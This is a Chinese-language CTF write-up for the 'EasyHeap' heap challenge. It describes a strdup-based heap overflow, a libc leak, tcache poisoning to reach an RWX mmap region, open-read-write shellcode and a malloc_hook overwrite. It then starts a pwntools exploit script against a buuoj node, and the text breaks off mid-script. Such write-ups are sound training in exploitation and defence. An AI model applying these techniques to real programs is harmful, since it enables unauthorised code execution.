概述
前天又参加了一次激动人心的比赛,好吧,确实只能说是激动人心,毕竟没有物质回报,好的名次和中将名额总是和自己无缘。废话不多说,直接看wp。
所有题目和环境都在buuoj上有复现,这里感谢buuoj在我学习ctf过程中提供的做题环境以及时不时搞几场比赛来激励(打击/(ㄒoㄒ)/~~)我努力学习。
EasyHeap
题目是常规的堆题,64位程序,保护全开,漏洞也算明显,当然对strdup函数功能不熟悉的同学可能需要调试后才能看到存在堆溢出漏洞,这个后面详细说明。另外题目本身采用了沙箱机制,因此无法直接getshell,需要使用orw来打印flag,对沙箱机制不熟悉的同学可以参考这篇文章 – pwn沙箱机制详解。
下面直接分析程序漏洞所在,如下截图所示,漏洞存在于add功能函数里面,我们输入的size并不是实际分配的内存大小,实际分配的内存大小由strdup决定,也就是实际存入buf的字符数量,因此这里存在典型的堆溢出。
有了堆溢出后,利用就比较容易了,考虑本题目所使用的libc为libc-2.27.so。首先,分配不属于tcache块的堆,然后释放,利用堆溢出泄露出libc地址;之后同样利用溢出,采用tcache bin攻击可以将堆块分配到mmap地址0x23330000
,这个地址是由程序自身所分配的可写可读可执行内存区域,我们将orw写入到此;最后同样是利用溢出和tcache bin攻击,将malloc_hook处填写为mmap地址0x23330000
。最后调用一次add即可完成攻击,打印出flag。完整的Exp如下:
from pwn import *
ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/BUUCTF/PWN_3/libc-2.27.so"
# p = process([ld_path, "./Easyheap"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
p = remote("node4.buuoj.cn", 29327)
# context.log_level = "debug"
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
def add(size, con):
sla(">> :\n", "1")
sla("Size: \n", str(size))
sa("Content: \n", con)
def free(index):
sla(">> :\n", "2")
sla("Index:\n", str(index))
def show(index):
sla(">> :\n", "3")
sla("Index:\n", str(index))
def edit(index, con):
sla(">> :\n", "4")
sla("Index:\n", str(index))
sa("Content:\n", con)
# leak libc
add(0x40